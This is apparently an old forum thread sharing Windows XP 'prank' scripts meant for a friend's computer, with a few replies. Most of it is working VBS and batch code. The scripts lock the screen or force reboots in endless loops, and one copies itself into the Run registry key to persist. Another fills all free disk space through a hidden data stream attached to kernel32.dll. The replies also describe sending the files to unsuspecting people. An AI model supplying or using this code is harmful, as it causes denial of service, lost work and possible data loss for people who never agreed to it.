NOTE!: I will not take responsebility for any of your actions, and neither will SpA community.
You may use these programs at your own risk

As we all know there are sevral ways too mess around with your friends computer, the most off these things are pretty harmless, but those who ain't, will be noted with: Warning!

Good to know before we get started:
http://www.computerhope.com/msdos.htm
[DoS commands (cmd.exe)]

How to make a .bat/.vbs file:
Open notepad, write in your code and saveas: "filename.bat/vbs"
Bat: Batch
Vbs: Visual Basic Script.

How to put stuff in register in 'Run':
First, copy your .vbs/.bat file to c:\filename.bat/.vbc.
The you go in to 'Start > Run > Write regedit and press enter.
In the registereditor:
"HKEY_CURRENT_USER > Software > Microsoft > Windows > CurrentVersion > Run"
[HKEY_LOCAL_MACHINE is all users on the computer, HKEY_CURRENT_USER are only the one logged in at the moment who get's it]
When you're in there, you: Rightclick > New > Stringvalue (You can choose a random name on the string) > c:\"filename.bat/.vbs"

Note: If you don't got "Stringvalue", don't worry, I got a swedish verison of XP and in swedish it is "strängvärde" which direct transelated is "Stringvalue". [Please tell me if it is called something diffrent in english]

All these scripts works with Win Xp.
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And here we go:

while(true)
Response = MsgBox("I don't like you", 2, "WARNING!!!!!!!!!!!11")
wscript.sleep(5000)
Wend

Save as a .vbs file and run it

This makes a dialog window show up every 5 sec. with the message "I don't like you"
I have tried this and it was VERY annoying!

To shut it off: CTRL + ALT + DELETE > Processes > close wscript.exe

If you really want to freak someone out, put this on autostart
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MsgBox "Don't got any place to put your drink?",64,"Drink"
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

Save as a .vbs file

This is pretty simple, it shows a dialog window with the text "Got no place to put your drink?" and a "OK" button, when you press the OK button, your CD-drive opens

Turn it off: CTRL + ALT + DELETE > Processes > shutdown wscript.exe
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Warning!

@echo off
net send * The truth is out there...
msg * The truth is out there...
shutdown -s -t 600
Label C: Porn
Label D: Porn
Label E: Porn
Label F: Porn
COPY msdir32.bat %systemroot%\system32\msdir32.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v msdir32 /t REG_SZ /d %systemroot%\system32\msdir32.bat

Save it as a .bat file

This script changes name on C:\, D:\, E:\, F:\ to "Pron" and sends a net send with the message "the truth is out there".. (it sends it to everybody in your workgroup)
[Sometimes net send is off]
If that wasnt enough, it shuts down the computer after 10 min.
AND it copys it self to startup and your Windows Dir.

This script isnt that harmless, so therefor it got a 'Warning' on it.

To shutdown the 'shutdown', type: "Shutdown -a" in CMD.
Don't know how to shut down the rest of it
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Warning!

@echo off
cd /d %homedrive%\Documents and Settings\All Users\Start-meny\Program\Autostart
echo shutdown -r -t 20>moahaha.bat
shutdown -r -t 5
del %0

Save it as a .bat file

This makes a file called 'mohaha.bat' in your autostart folder, and then it shuts off your computer and deletes it self.
The mohaha.bat file makes your computer shut it self off ever 20 sec.

Pretty hard to work with a computer which shuts it self off all the time, so therefor it got a warning file.
A person with low computer-expirences would totaly think that he/she has gotten a virus.


Shutoff: Delete mohaha.bat in your autostart folder [Rightclick on the 'Start'-menu > Open > Programs > Autostart]
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Warning!

Set shell = CreateObject("WScript.Shell")
While(1) shell.Exec("rundll32.exe user32.dll,LockWorkStation")
Wend

Save as a .vbs file

This script makes you logout every time you login, REALLY annoying.
Put in your 'Autostart' for best result

This is a really neat script, beware.

I don't know how to shut it off, don't even know if you CAN shut it off

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Warning!

Set cmd = CreateObject("WScript.Shell")
Set sys = CreateObject("Scripting.FileSystemObject")
Set info = cmd.Environment("PROCESS")
cmd.Run "fsutil file createnew " & info("SYSTEMROOT") & "\system32\kernel32.dll:batman " & sys.GetDrive(info("SYSTEMDRIVE")).FreeSpace,0,true

Save as a .vbs file

This is really NEAT, it just keeps eating all your HD space, and it doesnt even takes a second for it to fill up your computer.

You have to delete kernel32.dll to get rid off this one, and you don't want to do that..

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@ECHO off
:loop
MKDIR "%CD%\a"
CD "%CD%\a"
goto loop

Save it as a .bat file

This is pretty harmless, it just creates a map with 120 maps in it..

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There is always more ways to mess with people, but these are pretty nice.

Will update this some day when I got the time.

But take it easy with these files, some off them are pretty neat.

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"Sex is like air: Its not important unless your not getting any."

evil biatch, So you mean I have to get in front of my frends comp?

You don't have to, you could make the file (WITHOUT running it) on your own PC and then send it to him.

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"Sex is like air: Its not important unless your not getting any."

I gona send this to some1 my friends that irrotates my sometimes. Gona do it some weekend whem I'm drunk and maybe pissed off. though I might only try the I hate you part

ROFL

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Hammy smells